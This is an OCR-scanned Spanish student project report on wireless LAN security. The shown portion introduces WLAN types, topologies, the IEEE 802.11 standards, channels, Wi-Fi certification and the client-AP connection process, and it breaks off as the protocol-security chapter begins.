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0. Introduccién al proyecto

0.1 Motivacién

En la actualidad el uso de las tecnologias inaldmbricas ha pasado a formar parte de nuestro dia a
dia. A la gran cantidad de usuarios que utilizaban redes inalambricas en sus hogares, se han
afladido numerosas empresas e instituciones que han visto en esta tecnologia una forma de ampliar
sus redes de &rea local reduciendo costes de implementacion y, gracias a los avances en la

seguridad de este tipo de redes, también segura.

A nivel personal, como usuario de este tipo de tecnologia, he sentido la necesidad de profundizar
mas en el tema y de esta forma también consolidar y ampliar los conocimientos adquiridos en la

Ingenieria Técnica en Telecomunicaciones, especialidad en Telematica.

A nivel profesional, como disefiador e instalador de redes de area local, considero que este proyecto

me servira para ampliar conceptos de seguridad en redes WLAN (Wireless Local Area Network).

0.2 Descripcién

En este proyecto se intentard profundizar lo maximo posible en las redes WLAN. Basicamente
podemos dividir el proyecto en 3 partes claramente diferenciadas:

-La primera parte servira como introduccion a las redes inaldmbricas actuales. Hablaremos sobre los
diferentes tipos de redes inalambricas que hay en la actualidad, las topologias existentes,
hablaremos en profundidad del estandar 802.11, de los canales y frecuencias y de la alianza Wi-Fi.
Para finalizar esta primera parte hablaremos sobre las ventajas y los inconvenientes del uso de las
redes inaldmbricas.

-La segunda parte estard compuesta por todo lo referente a temas de seguridad en las WLAN. Esta
parte estard compuesta por los capitulos 2, 3 y 4. En primer lugar (capitulo 2) hablaremos acerca de
la seguridad existente a nivel de enlace y a nivel de protocolo, hablaremos de los protocolos WEP,
WPA y WPAZ2, asi como de los protocolos de autenticacion EAP y del servidor de autenticacion y
autorizacion Radius. En segundo lugar (capitulo 3) hablaremos de los diferentes tipos de ataques
que puede sufrir nuestra WLAN, y mas concretamente a los protocolos WEP y WPA/WPA2 PSK. Por
ultimo (capitulo 4) hablaremos de las auditorias, y realizaremos una auditoria a una WLAN con
protocolo de seguridad WEP y otra a una con WPA/WPAZ2.

-La tercera y Ultima parte del proyecto estard centrada en un caso practico. Se nos presentara un
escenario real en el que tendremos que implementar una WLAN segura mediante un servidor de
autenticacion y autorizacion Radius. Todavia no esta decidido si se haré con la infraestructura y la

maquinaria existente en el centro utilizando ademas software libre, o si por lo contrario sera
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necesario la compra de algun dispositivo y software especifico. Quedamos a la espera de la decision

del cliente.

0.3 Objetivos

Los objetivos a alcanzar en este proyecto son los siguientes:

Definir de forma clara las WLAN.

Valorar las ventajas y los inconvenientes del uso de estas redes.

Analizar las propuestas de seguridad actuales que hay para este tipo de redes.

Identificar los diferentes tipos de ataques que podemos encontrar actualmente.

Comprobar mediante auditoria los métodos de seguridad WLAN mas utilizados actualmente.

Crear una WLAN segura mediante servidor de autenticacion y autorizacion Radius.

0.4 Planificacion
La planificacion del proyecto viene marcada por las fechas clave de entrega de la asignatura. Estas

fechas seran:

Tareas Fechas limite
Inicio del proyecto 19-09-2012
Decision del proyecto y comunicacion al consultor 26-09-2012
PAC1.: Planificacion del trabajo 03-10-2012
PAC2: Primera entrega del proyecto 18-11-2012
PAC3: Segunda entrega del proyecto 16-12-2012
Finalizacion del proyecto 10-01-2013
Fin del proyecto 25-01-2013

Tabla 1: Tareas y fechas limite

Para la realizacion de la planificacién del proyecto hemos utilizado el programa Microsoft Project
2007.

A continuacion podemos ver la descomposicion de las tareas con sus fechas, y el diagrama de Gantt

del proyecto:

10
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Nombre de tarea Duracion Comienzo Fin ;
"= TFC - Sequridad en redes inalimbricas de 4rea local (WLAN) | 96 dias? | mié 19/09112 vie 2501113
Decision del proyecto y comunicacion al consuttor | 6 dias?| mié 19/09/12] mié 26/08/12

- PAC1 - Planificacién del trabajo | G dias?| jue 27109112 mié 0310112
Descripcion del proyecto | 2dias? jue 27/09M12 vie 28/08/12
Objetivos del provecto 1 dia?’ =ab 29/0812 dom 30/09/12
Creacion del indice provisional | 2dias?| lun 011101 2; mar 0211012
Diagrama de Gantt | 1 dia? mié 0310112 mié 031012

-/ PACZ - Primera entrega del proyecto 33 dias? jue 0411012  dom 1811112
Recopiacion de informacion | 12 dias?| jue 04/1012, vie 1910112
Preparacion del laboratorio de pruebas | 2dias?| sab 20110112 lun 2210112
‘Comienzo de Ia elaboracién de la meméria | 19 dlas? mar 2310112 dom 181112

- PAC3 - Segunda entrega del proyecto | 21 dias?| N 191112 dom 16112112
Continuacidn de la elaboracién de la memoria 6 dias? lun 1911112 lun 2601112
Realizacion de casos practices | odias? mar 2714112 vie 0711212
Redaccion de resultados obtenidos en los casos practicos | 6dias?| s4b 081212 dom 161212

-/ Finalizacion del proyecto 30 dias? lun 1711212 vie 2510113
Finalizacion de la meméria | 14 dias?| lun 1711212 jue 0301113
Elaboracion de Ia presentacién | 4dis? vie D4/01/13] mié 09/01113
Entrega de la memdria final v de la presentacion | 1 dia? jug 10001132 jug 10001113
Tribunal | &dias?| vie 18/01/13, vie 25/01/13

Figura 1. Descomposicion de tareas

septiembre 2012 octubre 2012 | noviembre 2012 | diciembre 2012 | enero 2013
01[04]07 [10[13[16 18222528 [01 [04]07 1013161822 2526310306 0912 [ 15[ 18]21 |24 |27 [30] 03|06 |06 [ 12151821 [24 27 [30 020508 [11 [14[17 |20 23] 2629
¥ v
[S=——=]
L ¥
v g
W v
v d
[

Figura 2: Diagrama de Gantt
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1. Redes inalambricas de &rea local (WLAN)

1.0 Introduccion

Una red de area local inaldambrica (WLAN), es un sistema de comunicacion de datos inalambrico
flexible, muy utilizado como alternativa a las redes de area local cableadas o como extensién de
estas. Utiliza tecnologias de radiofrecuencia para transmitir y recibir datos a través de ondas
electromagnéticas. Permite mayor movilidad a los usuarios al minimizar las conexiones cableadas,
estableciendo conexion a los usuarios situados dentro de la misma zona de cobertura, tales como
oficinas, campus, hogares, edificios o espacios publicos.

En la actualidad ya existen una multitud de dispositivos que permiten este tipo de conexion, tales

como televisores, teléfonos, videoconsolas, ordenadores, impresoras, neveras, etc.

\ Ve

et

LA

Figura 3: Ejemplo de Red de area local inalambrica (WLAN)

1.0.1 Tipos de redes inalambricas

Antes de profundizar mas en las WLAN vamos a situarlas dentro de las redes inaldmbricas
existentes en la actualidad.

Actualmente existen varios tipos de redes inalambricas. Podemos clasificarlas en funcion del rango

de frecuencias utilizado por cada una y en funcion de su rango de cobertura:

» Clasificacion en funcién del rango de frecuencias utilizado:
Ondas de radio: se propagan omnidireccionalmente por el medio mediante antenas. Operan en el
rango de frecuencias que van desde los 3Hz hasta los 3Ghz (ELF hasta UHF). No sufren atenuacion

por inclemencias meteorologicas como la lluvia.

12
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Infrarrojos: con este sistema emisor y receptor han de estar alineados directamente sin obstaculos

de por medio. Su rango de frecuencias va desde los 300Ghz hasta los 384THz.

Microondas terrestres: se utilizan antenas parabdlicas en enlaces punto a punto para transmitir. Las
antenas tienen que estar perfectamente alineadas y a distancias no muy grandes. Su rango de
frecuencias va desde 1GHz hasta los 300GHz. Sufren atenuacion con las inclemencias

meteorologicas.

Microondas satelitales: se utilizan antenas parabdlicas que envian la sefial a un satélite, este la
amplifica y la reenvia al receptor. Opera en el mismo rango de frecuencias que las microondas
terrestres. La ventaja respecto a las terrestres es que en este caso los dispositivos pueden estar en

cualquier posicion.

» Clasificacion en funcion del rango de cobertura:

WPAN (Wireless Personal Area Network - Red inalambrica de area personal). Son redes
inaldmbricas de corto alcance. Dentro de este tipo de redes podemos encontrar la tecnologia de
Infrarrojos (hasta 10m de distancia y velocidades de hasta 115kbps), Bluetooth (hasta 100m de
distancia y velocidades de hasta 24Mbps), ZigBee (velocidades de hasta 250kbps) y la mas reciente
la tecnologia NFC (dispositivos casi pegados y velocidades de hasta 848kbps). Su uso se limita
basicamente a periféricos para transferir informacion entre ellos (madviles, impresoras, ratones,

teclados, altavoces, electrodomésticos, etc.).

WLAN (Wireless Local Area Network - Red inalambrica de &rea local). Este tipo de redes son en las
gue se basa este proyecto. Son redes de medio alcance, como puede ser una casa, o un edificio de

oficinas. M&s adelante profundizaremos en ellas.

WMAN (Wireless Wide Area Network - Red inalambrica de area metropolitana). Son redes
inalambricas de largo alcance. Pueden abarcar kilometros de distancia, como por ejemplo una
poblacién o una ciudad. Dentro de este tipo de redes podemos encontrar las tecnologias como
WIMAX o LMDS.

WWAN (Wireless Metropolitan Area Network - Red inaldambrica de area extensa). Son redes
inaldmbricas de muy largo alcance. Pueden abarcar hasta miles de kildmetros. Dentro de este tipo
de redes podemos encontrar tecnologias como la CDMA, GSM, HSPA, GPRS, UMTS utilizadas en la

telefonia movil.

13
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1.1 Topologia
Los elementos que intervienen principalmente en las comunicaciones inaldmbricas son los puntos de
acceso (equipos que dan acceso a la red de forma centralizada) y los clientes (dispositivos

inaldmbricos).

Existen dos tipos de topologias:
» Los clientes se conectan directamente entre ellos para comunicarse (modo Ad-Hoc).
* Los clientes se conectan a un punto de acceso para comunicarse con el exterior o entre ellos

mismos (modo Infraestructura).

1.1.1 Modo Ad-Hoc

En el modo Ad-Hoc los equipos inaldmbricos se conectan entre si para formar una red punto a punto,
es decir, los clientes intercambian la informacion entre ellos directamente si pasar por ningln equipo
intermedio.

Las opciones de configuracion de seguridad, nombre de red y canal de comunicacion se configuran
el propio cliente.

Una vez que los clientes pertenecen a la misma red, se transmiten los datos al aire y los otros
dispositivos reciben y reenvian la informacion.

La configuracion que forman los clientes se llama conjunto de servicio basico independiente o IBSS

(Independent Basic Service Set).

Figura 4: Ejemplo modo Ad-Hoc

1.1.2 Modo Infraestructura

En el modo de infraestructura, los clientes deben comunicarse con el punto de acceso para poder
utilizar la red, ya que el punto de acceso es el encargado de gestionar la autorizacion.

Al grupo formado por el punto de acceso y los clientes que se encuentran dentro de la misma zona

de cobertura se le llama conjunto de servicio basico o BSS (Basic Service Set).

14
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También puede darse el caso de que una red esté formada por varios puntos de acceso y clientes

gue se conecten a ellos. A este grupo de puntos de acceso y clientes se le llama conjunto de servicio
extendido o ESS (Extended Service Set).
En este tipo de redes el nombre de la red se define en el punto de acceso con el parametro ESSID

(Extended Service Set ID). Esto nos permite diferenciar una red de otra.

Figura 5: Ejemplo modo Infraestructura

1.2 Estandares WLAN

Actualmente existen cuatro organizaciones que tienen mucho que ver con los estandares que se

utilizan para las WLAN. Estas cuatro organizaciones son:

* ITU-R: normalizacion a nivel mundial de las comunicaciones que utilizan la energia radiada, en
concreto la asignacion de las frecuencias.

» |EEE: normalizacion de las WLAN (802.11).

» Alianza Wi-Fi: consorcio industrial que impulsa la interoperabilidad de los productos que
implementan estandares WLAN a través de su programa certificado Wi-Fi.

* FCC: agencia del gobierno de USA que regula el uso de distintas frecuencias de

comunicaciones.

De las organizaciones mencionadas anteriormente, el IEEE desarrolla los estandares especificos
para los distintos tipos de WLAN que se utilizan actualmente. Estos estdndares deben tener en
cuenta las elecciones de frecuencia efectuadas por las diferentes agencias regulatorias mundiales,
como laFCC en USAvylaITU-R.

15
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1.3 Estandares IEEE 802.11

El estdndar IEEE 802.11 fue definido por el IEEE (Instituto de Ingenieros Eléctricos y Electrénicos)
en el afio 1997 como nuevo estandar para las redes de area local inalambrica. Inicialmente
proporcionaba una velocidad de transferencia maxima de 2Mbps pero, como veremaos a
continuacion, esta ha ido aumentando con las nuevas tecnologias hasta proporcionar velocidades de
300Mbps.

La definicion del estandar 802.11 fue disefiada para sustituir a las capas fisica y de enlace del
modelo OSI para redes cableadas (IEEE 802.3) especificando su funcionamiento en redes WLAN,
haciendo que ambas redes sean idénticas excepto en la forma en la que los terminales acceden a la

red. Esto hace que ambas redes sean compatibles.

La capa fisica PHY (Physical Layer) de la especificacion IEEE 802.11 se ocupa de definir los

métodos por los que se difunde la sefal. Ofrece 4 tipos de técnicas de transmision:

» Infrarrojos: usa transmision difusa con una velocidad de 1Mbps o 2Mbps

* FHSS (Frequency Hopping Spread Spectrum): espectro disperso por salto de frecuencia. Se
transmiten los datos saltando de canal a canal, de acuerdo a una secuencia de salto pseudo
aleatoria particular que distribuye uniformemente la sefal a través de la banda de frecuencia
operativa (79 canales en Europa). Una vez que la secuencia de saltos se configura en un AP
Punto de Acceso), las estaciones se sincronizaran automaticamente segun la secuencia de salto
correcta. Se consiguen velocidades de transmision de 1Mbps a 2Mbps. Opera en la banda de los
2,4GHz.

+ DSSS (Direct Sequence Spread Spectrum): espectro disperso de secuencia directa. Utiliza un
rango de frecuencia amplio de 22 MHz todo el tiempo. La sefial se expande a través de
diferentes frecuencias. Cada bit de datos se convierte en una secuencia de chipping que se
transmiten en paralelo a través del rango de frecuencia. Se consiguen velocidades de
transmision de 1Mbps a 2Mbps en la versién normal, y hasta 11 Mbps en la version HR/DSSS.
Opera en la banda de los 2,4GHz.

 OFDM (Orthogonal Frequency Division Multiplexing): multiplexacion por division de frecuencia
ortogonal. Divide una portadora de datos de alta velocidad en varias subportadoras de mas baja
velocidad, que luego se transmiten en paralelo. OFDM utiliza el espectro de manera mucho mas
eficiente, espaciando los canales a una distancia mucho menor. El espectro es mas eficiente
porque todas las portadoras son ortogonales entre si, evitando de esa forma la interferencia entre
portadoras muy cercanas. Se consiguen velocidades de transmision de hasta 54Mbps. Opera en
la banda de los 5GHz.
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La capa de enlace de la especificacion 802.11 esta compuesta por dos subcapas:

* LLC (Logical Link Control). Capa que se ocupa del control del enlace I6gico. Define cédmo
pueden acceder multiples usuarios a la capa MAC.

* MAC (Medium Acces Control). Conjunto de protocolos que controlan cémo los distintos
dispositivos comparten el uso del espectro radioeléctrico. Es méas compleja que las de otras
especificaciones (802.3, 802.5, etc.). En WLAN se utiliza CSMA/CA (acceso multiple con

deteccion de portadora y colision evitable).

| 802.2 Logical Link Control {LLC) |

MAC | CSMACA |
g02.11 802.11b 802.11a 802.11¢g
PHY Z Mbps 11 Mbps 54 Mbps 54 Mbps
S-Band ISM || S-Band IZM || C-Band ISM || S-Band ISM
FHES DEEs QFDM QOFDM

Figura 6: Capas IEEE 802.11

Standard Fraguancy Bandwidth Madulation Masimium data
band rato

80z.11 2.4 GHz 20 MHz D555, FHSS Z Mbl/s

802.11b 2.4 GHz 20 MHz DSES 11 Mbis

802.11a 5 GHz 20 MHz OFDM 54 Mb's

802.11g 2.4 GHz 20 MHz D555, OFDM 54 Mb/s

802.11m 2.4 GHz, 5 GHz |20 MHz, 40 MHz OFDM GO0 Mb/s

Tabla 2: Resumen de los principales estandares

1.3.1 IEEE 802.11 legacy

Version original del estandar IEEE 802.11 publicada en 1997. Especifica dos velocidades de
transmisién tedricas, 1Mbps y 2Mbps, que se transmiten mediante infrarrojos en la banda 2,4GHz.
También define el protocolo CSMA/CA como método de acceso. Una parte importante de la
velocidad de transmision tedrica se utiliza en las necesidades de esta codificacion para mejorar la
calidad de la transmision bajo condiciones ambientales diversas, lo cual se tradujo en dificultades de
interoperabilidad entre equipos de diferentes marcas.

Actualmente este estandar no se utiliza.
1.3.2 IEEE 802.11a

La revision 802.11a fue aprobada en 1999. Utiliza la banda de frecuencias de 5GHz con una

velocidad méaxima de transmision de 54 Mbps.
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Utiliza la tecnologia de transmisiéon OFDM que permite transmitir grandes cantidades de datos
digitales sobre una onda de radio, dividiendo la sefial y transportandola mediante 52 subportadoras a
diferentes frecuencias que son transmitidas simultaneamente hacia el receptor.

La utilizacion de la banda de 5GHz representa la ventaja de recibir menos interferencias, pero
también el inconveniente de que el rango de cobertura que ofrece es menor ya que penaliza mucho

la potencia de la sefial en funcion de la distancia.

1.3.3|IEEE 802.11b

La revision 802.11b, al igual que la 802.11, fue aprobada en 1999. Utiliza la banda de frecuencias de
2,4GHz con una velocidad méaxima de transmision de 11Mbps.

Los productos de este estandar aparecieron en el mercado muy rapido debido a que es una
extension directa de la técnica de modulacion DSSS definida en el estandar original. Por lo tanto los
chips y productos fueron facilmente actualizados para soportar las mejoras del 802.11b.

El rapido incremento en el uso del 802.11b junto con sustanciales reducciones de precios causé una

rapida aceptacion del 802.11b como la tecnhologia WLAN definitiva.

1.3.4 IEEE 802.11c
La revision 802.11c fue aprobada en 1998. Especifica métodos para la conmutacién inalambrica, es

decir, métodos para conectar diferentes tipos de redes mediante redes inalambricas.

1.3.5 IEEE 802.11d

La revision 802.11d fue aprobada en 2001. También conocido como “Método Mundial” esta pensado
para permitir el uso internacional de las redes 802.11 locales. Permite que distintos dispositivos
intercambien informacién en rangos de frecuencia segun lo que se permite en el pais de origen del

dispositivo.

1.3.6 IEEE 802.11e

La revision 802.11e fue aprobada en 2005. Define los mecanismos utilizados en una WLAN para
proporcionar QoS a aplicaciones en tiempo real como voz y video. Para proporcionar soporte QoS se
introduce una tercera funcion de coordinacion, llamada HCF (Hybrid Coordination Function), que
incorpora dos nuevos mecanismos de acceso al canal: EDCA (Enhanced Distributed Channel
Access) y HCCA (HCF Controlled Channel Access).

1.3.7 IEEE 802.11f

La recomendacién 802.11f fue aprobada en el afio 2000 y va dirigida a proveedores de puntos de

acceso. Utiliza el protocolo IAPP que le permite a un usuario itinerante cambiarse claramente de un
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punto de acceso a otro mientras esta en movimiento sin importar qué marcas de puntos de acceso

se usan en la infraestructura de la red. En definitiva permite que los productos sean mas compatibles

1.3.8 IEEE 802.11g

La revision 802.11g fue aprobada en 2003. Utiliza la banda de frecuencias de 2,4GHz con una
velocidad méxima de transmision de 54Mbps. Es compatible con el estdndar 802.11b y utiliza las
mismas frecuencias. Buena parte del proceso de disefio del estandar lo tomo el hacer compatibles
los dos estandares. Sin embargo, en redes bajo el estdndar g la presencia de nodos bajo el estandar
b reduce significativamente la velocidad de transmisién. . El rango maximo de los dispositivos
802.11g es ligeramente mayor al de los 802.11b, pero el rango en el que el cliente puede alcanzar

54Mbps es mucho mas corto que en el que puede alcanzar 11Mbps en 802.11b.

1.3.9 IEEE 802.11h

La revision 802.11h fue aprobada en 2003. Aparece como una modificacion del estdndar 802.11a

para resolver problemas derivados de este tipo de redes con sistemas de radares y satélites debido

a gque la banda 5GHz era la utilizada por estos sistemas en el ambito militar. Este protocolo

proporciona a las redes 802.11a la capacidad de gestionar dinamicamente la frecuencia y la potencia

de transmision mediante:

» DFS (Dynamic Frequency Selection): permite evitar interferencias co-canal con sistemas de radar
y asegurar una utilizacion uniforme de los canales disponibles.

» TPC (Transmitter Power Control): permite asegurar que se respetan las limitaciones de potencia
transmitida que puede haber para diferentes canales en una determinada regién, de manera que

se minimiza la interferencia con sistemas de satélite

1.3.10 IEEE 802.11i

La revision 802.11i fue aprobada en 2004. Surgio con el fin de resolver los problemas de seguridad
gue comprometieron en su momento las WLAN. Integra todo lo que el mundo de la seguridad ofrece.
Esto incluye la autenticacion IEEE 802.1x con Protocolo de Integridad de claves Temporales (TKIP),
Protocolo de Autenticacion Extendido (EAP), RADIUS, Kerberos y encriptacion basada en el

algoritmo AES.
1.3.11 IEEE 802.11]

La revision 802.11j fue aprobada en 2002 y hace referencia a lo mismo que la 802.11h pero en

Japon.
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1.3.12 IEEE 802.11k
La revision 802.11k fue aprobada en 2003. Permite a los conmutadores y puntos de acceso
inaldmbricos calcular y valorar los recursos de radiofrecuencia de los clientes de una red WLAN,

mejorando asi su gestion.

1.3.13 IEEE 802.11 n

El estandar 802.11n fue ratificado por el IEEE en el afio 2009. Mejora significativamente el
rendimiento de la red con un incremento significativo de la velocidad maxima de transmision de hasta
600Mbps en capa fisica. Puede trabajar en las bandas de frecuencia 2,4GHZ y 5GHz, lo que lo hace
compatible con los dispositivos basados en estandares anteriores.

La incorporacion también de la tecnologia MIMO (Multiple Input — Multiple Output) que permite
utilizar varios canales a la vez para enviar y recibir datos gracias a la incorporacion de 3 antenas,

hace que el alcance del radio de las redes sea mucho mayor.

1.3.14 IEEE 802.11p

Fue publicada en 2010. Este estandar opera en el espectro de frecuencias de 5,90GHz y 6,20GHz.
Especialmente indicado para automoviles, sera la base de la tecnologia DSRC (Dedicated Short
Range Communications) que permitira el intercambio de datos entre vehiculos y entre automoviles e

infraestructuras en carretera.

1.3.15 IEEE 802.11r

Publicado en 2010, también se conoce como Fast Basic Service Set Transition, y su principal
caracteristica es permitir a la red que establezca los protocolos de seguridad que identifican a un
dispositivo en el nuevo punto de acceso antes de que abandone el actual. Esta funcién permite que

la transicién entre nodos se demore menos de 50 milisegundos.

1.3.16 IEEE 802.11s

Publicado en 2010 se trata de una serie de protocolos mediante los cuales se pueden crear redes
inalambricas malladas con el objetivo de que sean autogestionables.

Los dispositivos de dichas redes tienen la inteligencia suficiente como para ir creando ellos mismos
las rutas de manera dinamica optimizando el trafico de informacion y evitando fallos en la

conectividad en caso de que determinados nodos de la red se desconectasen.

1.3.17 IEEE 802.11u
No concluido todavia, el estandar 802.11u permitira a los dispositivos inalambricos encontrar,

seleccionar y conectarse automaticamente a WLANS preferidas. Su funcionamiento consiste en
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habilitar a los dispositivos para buscar redes, recabar informacién de éstas y en base a politicas
establecidas por el usuario (o el proveedor) priorizar y administrar la conexion. De este modo se
asegura que el dispositivo esté siempre conectado a la mejor red posible, teniendo asi siempre la

mejor calidad de conexidn, mayor ancho de banda y el menor coste.

1.3.18 IEEE 802.11v

Publicado en 2011 el IEEE 802.11v permite la configuracién remota de los dispositivos cliente. Esto
permitira una gestion de las estaciones de forma centralizada (similar a una red celular) o distribuida,
a través de un mecanismo de capa 2. Esto incluye, por ejemplo, la capacidad de la red para
supervisar, configurar y actualizar las estaciones cliente. Ademas de la mejora de la gestion, las
nuevas capacidades proporcionadas por el 802.11v se desglosan en cuatro categorias:

* Mecanismos de ahorro de energia con dispositivos de mano VolP Wi-Fi.

» Posicionamiento para proporcionar nuevos servicios dependientes de la ubicacion.

» Temporizacidn para soportar aplicaciones que requieren un calibrado muy preciso.

» Coexistencia, que reiine mecanismos para reducir la interferencia entre diferentes tecnologias en

un mismo dispositivo

1.3.19 IEEE 802.11w

Todavia no concluido. Este estandar trata de mejorar la capa del control de acceso del medio de
IEEE 802.11 para aumentar la seguridad de los protocolos de autenticacion y codificacion. Intenta
extender la proteccion que aporta el estandar 802.11i mas alla de los datos hasta las tramas de
gestion, responsables de las principales operaciones de una red. Estas extensiones tendran
interacciones con IEEE 802.11r e IEEE 802.11u.

1.4 Canales y frecuencias

El estandar 802.11a utiliza la banda de 5GHz. En esta banda se definen 23 canales utilizables por
los equipos inalambricos, que se pueden configurar de acuerdo a necesidades. Sin embargo, los 23
canales no son completamente independientes. Los canales contiguos se superponen y se producen
interferencias, asi que en la practica es aconsejable usar 12 (canales no superpuestos) de forma

simultdnea. Esto también es valido para 802.11n si opera en esta banda.
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Figura 7: Canales y frecuencias 802.11a/n

Los estandares 802.11b y 802.11g utilizan la banda de 2,4GHz. En esta banda se definen 11 canales
utilizables (13 en Europa). Estos canales no son completamente independientes ya que los contiguos
se superponen y se producen interferencias, asi que en la practica es aconsejable utilizar 3 de forma

simultanea como maximo. Esto también es valido para 802.11n si opera en esta banda.

Channels

)
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Figura 8: Canales y frecuencias 802.11b/g/n

La utilizacion de 12 canales no superpuestos en un caso, y 3 en el otro, no significa que no puedan
coexistir, sino que existen mayores interferencias entre dos puntos de acceso configurado con dos

canales contiguos, lo que significa que el rendimiento de nuestra WLAN con mucho trafico podria

verse disminuido.

1.5 Wi-Fi
Wi-Fi (Wireless Fidelity) es un certificado proporcionado por el consorcio industrial sin animo de lucro

Alianza Wi-Fi, que asegura la interoperabilidad de los productos que implementan estandares

WLAN.
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La alianza Wi-Fi, que se establecio6 originalmente como WECA (Wireless Ethernet Compatibility
Alliance) en agosto de 1999, esta formada por varias compaiiias lideres del sector de la tecnologia
de redes inalambricas. Desde 1999, el nimero de miembros de la alianza Wi-Fi se ha incrementado
considerablemente dado que cada vez mas compafiias de productos electrénicos de consumo,
proveedores de servicios de red y fabricantes de ordenadores se han dado cuenta de la necesidad

de ofrecer a sus clientes compatibilidad inaldmbrica entre sus productos.

Para que un equipo reciba el logotipo Wi-Fi es necesario que sea probado y verificado en los
laboratorios de pruebas de esta asociacion, asegurando que los productos con el logotipo Wi-Fi
trabajan perfectamente unos con otros. Una vez que el producto inalambrico pasa el proceso de
pruebas, la compafiia obtiene el sello Wi-Fi para dicho producto y puede utilizarlo con él.

Es importante resaltar que el certificado lo recibe un producto en concreto, y no una familia de
productos. Cada vez que el fabricante modifique alguno de sus componentes, el producto debe

pasar por todo el programa de pruebas antes de obtener de nuevo el certificado Wi-Fi.

\

b

>

q @3}
CERTIFIED®

Figura 9: Logotipo de certificado Wi-Fi

Por ejemplo, el laboratorio de pruebas autorizado por la Alianza Wi-Fi en Espafia es AT4 Wireless

(www.at4wireless.com). Lo que realiza esta empresa cuando le llega un producto es:

» Certificacion Internacional (gestion para acceso a todos los mercados internacionales)
* Certificacion M2M.

» Ensayos para la Aceptacién de Operadores.

» Ensayos de Conformidad (Radio, Protocolos, SIM, Audio y Perfiles).

* Ensayos de Rendimiento (Performance).

» Ensayos de Interoperabilidad (End to End, Network to device).

* Pruebas en Red Real (Field Trials).

1.6 Ventajas e inconvenientes de las WLAN

Vamos a empezar hablando de las ventajas que supone el uso de las redes inaldmbricas:

En primer lugar tenemos la movilidad que nos ofrece una red sin cables. Nos permite conectarnos
desde nuestro terminal en cualquier lugar donde tengamos cobertura (dentro de nuestra casa,
oficina, etc.). En segundo lugar tenemos la facilidad de instalacion que supone respecto a una LAN

cableada. Nos evita la dificil tarea que supone el tirar cable por nuestra casa u oficina, con las obras
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gue ello conlleva, o si tenemos que unir LANs separadas geograficamente. Otras ventajas que
supone el uso de las WLAN es la flexibilidad que aportan (permite dotar de conexioén a puntos en
los que era imposible hacer llegar cableado) y la adaptabilidad (permite realizar facilmente cambios
en la topologia de nuestra red y garantizar escalabilidad).

Por ultimo, una de las ventajas mas importantes que supone el uso de las WLAN en los tiempos
actuales, es la reduccion de costes que supone su implementacion. Todo y que los dispositivos
electronicos inalambricos puedan tener un coste superior a los de cable, el no tener que hacer
grandes obras para cablear todo el lugar donde se quiera implementar una red hace que sea mucho

mas econdémico .

Para acabar hablaremos de los inconvenientes principales de las WLAN:

En primer lugar tenemos las interferencias que ocasionan los dispositivos cercanos entre si que
operan en la misma banda de frecuencias y que hacen que el rendimiento de la WLAN decaiga. En
segundo lugar tenemos la limitacién de cobertura existente que depende de la potencia maxima de
radiacion de los dispositivos, que viene delimitada por la legislaciéon vigente. Estos dos
inconvenientes, se puede reducir su impacto en nuestra WLAN cambiando los canales en los que
operan los dispositivos en el primero, e instalando mas puntos de acceso o repetidores de sefial en
el segundo. También podemos considerar un inconveniente la limitacion del rango de frecuencias
del espectro libre utilizables en este tipo de redes.

Un inconveniente importante de este tipo de redes es sin duda la baja velocidad de transferencia de
datos en comparacion con las redes con cables, que alcanzan velocidades mucho mayores. En la
actualidad una LAN cableada puede llegar a transferir 1000Mbps (Gigabit Ethernet) mientras que
una inaldmbrica puede transferir unos 600Mbps teoricos (802.11n).

Por ultimo, el inconveniente mas importante que supone el uso de este tipo de redes es el tema de la
seguridad . Al ser el aire el medio de propagacion empleado por las ondas, hace que la informacion
esté expuesta a sufrir ataques. En la actualidad el tema de la seguridad inalambrica es en el que
mas hincapié se esta haciendo. El nivel de seguridad actual de estas redes est4 a afios luz del de

sus comienzos. En los proximos apartados profundizaremos mucho mas en este tema.
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2. Seguridad en WLAN

2.0 Introduccién
Como hemos visto anteriormente, el inconveniente mas importante que presentan las WLAN es el de

la seguridad.

Es importante hacer una pequefia introduccion de como se realiza una conexién a una red

inalambrica por parte de un cliente:

1. Por un lado tenemos un punto de acceso en el que hemos configurado nuestra WLAN que emite
en su zona de cobertura tramas llamadas “Beacon Frames” con las que comunica su presencia.
Estos “Beacon Frames” contienen por ejemplo el SSID, la velocidad que admite, el tipo de
seguridad de la red, etc.

2. Por otro lado tenemos al cliente que primero de todo ha de descubrir la existencia de una WLAN
e identificarla. Tiene dos formas de hacerlo:

* mediante un escaneo pasivo: el dispositivo espera recibir los “Beacon Frames” que envia un
AP y a través de ellos identifica la WLAN.

* mediante un escaneo activo: el cliente lanza tramas llamadas “Sondas” a un AP determinado
y espera una respuesta.

3. Una vez el cliente detecta un AP ha de autenticarse. Para ello el estandar 802.11 define dos tipos
de autenticacion:

» Sistema de autenticacion abierta: se limita a autenticar a cualquier cliente que lo solicite y la
comunicacion se realiza sin cifrar. Este sistema de autenticacidn se limita a una solicitud de
autenticacion por parte del cliente y a una respuesta por parte del punto de acceso, indicando
el resultado de la autenticacion.

» Sistema de autenticacion por clave compartida: consta de dos partes: autenticacion del
cliente y autenticacion del punto de acceso. La autenticacion del cliente, manda una trama de
solicitud de autenticacion en la que solicita utilizar una clave compartida al punto de acceso.
El punto de acceso responde con una trama de desafio (Authentication Challenge), creada
con la clave compartida .El cliente responde a la trama de desafio (Authentication Response)
con el contenido cifrado. El punto de acceso procesara esta trama descifrando su contenido y
verificando que el texto de desafio sea correcto.

4. Una vez autenticado el cliente, se procede a realizar la asociacion donde AP y cliente
intercambian sus MAC, el identificador ESS y el identificador de asociacion AID. Ahora el cliente

ya esta conectado a la WLAN y puede enviar y recibir datos a través de ella.
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Esta es la parte de la seguridad de las WLAN que se encarga de quién debe tener acceso a la red.
La otra parte es la que se encarga que nuestros datos vayan protegidos, es decir, que alguien no
autorizado que haya conseguido captar paquetes de datos pueda descifrar su contenido. Aqui entra

en juego la seguridad a nivel de protocolo, que explicaremos a continuacion.

El cliente capta los beacons del AP o
envia sondas al AP:

S5ID

Velocidades

El punto de acceso envia la respuesta:
331D
Velocidad
Tipo de seguridad

Peticion de autenticacion:
Tipo (Abieria o Clave compartida
Clave (si es de Clave compartida)

Respuesta de autenticacion:
Tipo
Clave
Correcta o Mo correcta

Peticidn de asociacian:
Direccién MAC cliente
Direccion MAC del AP
|dentificador ESS

Respuesta de asociacion:
Correcta o Mo correcta
Identificador de asociacion AID

Figura 10: Proceso de conexién Cliente - AP
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2.1 Seguridad a nivel de protocolo

Como hemos comentado anteriormente, la seguridad a nivel de protocolo es la encargada de que los
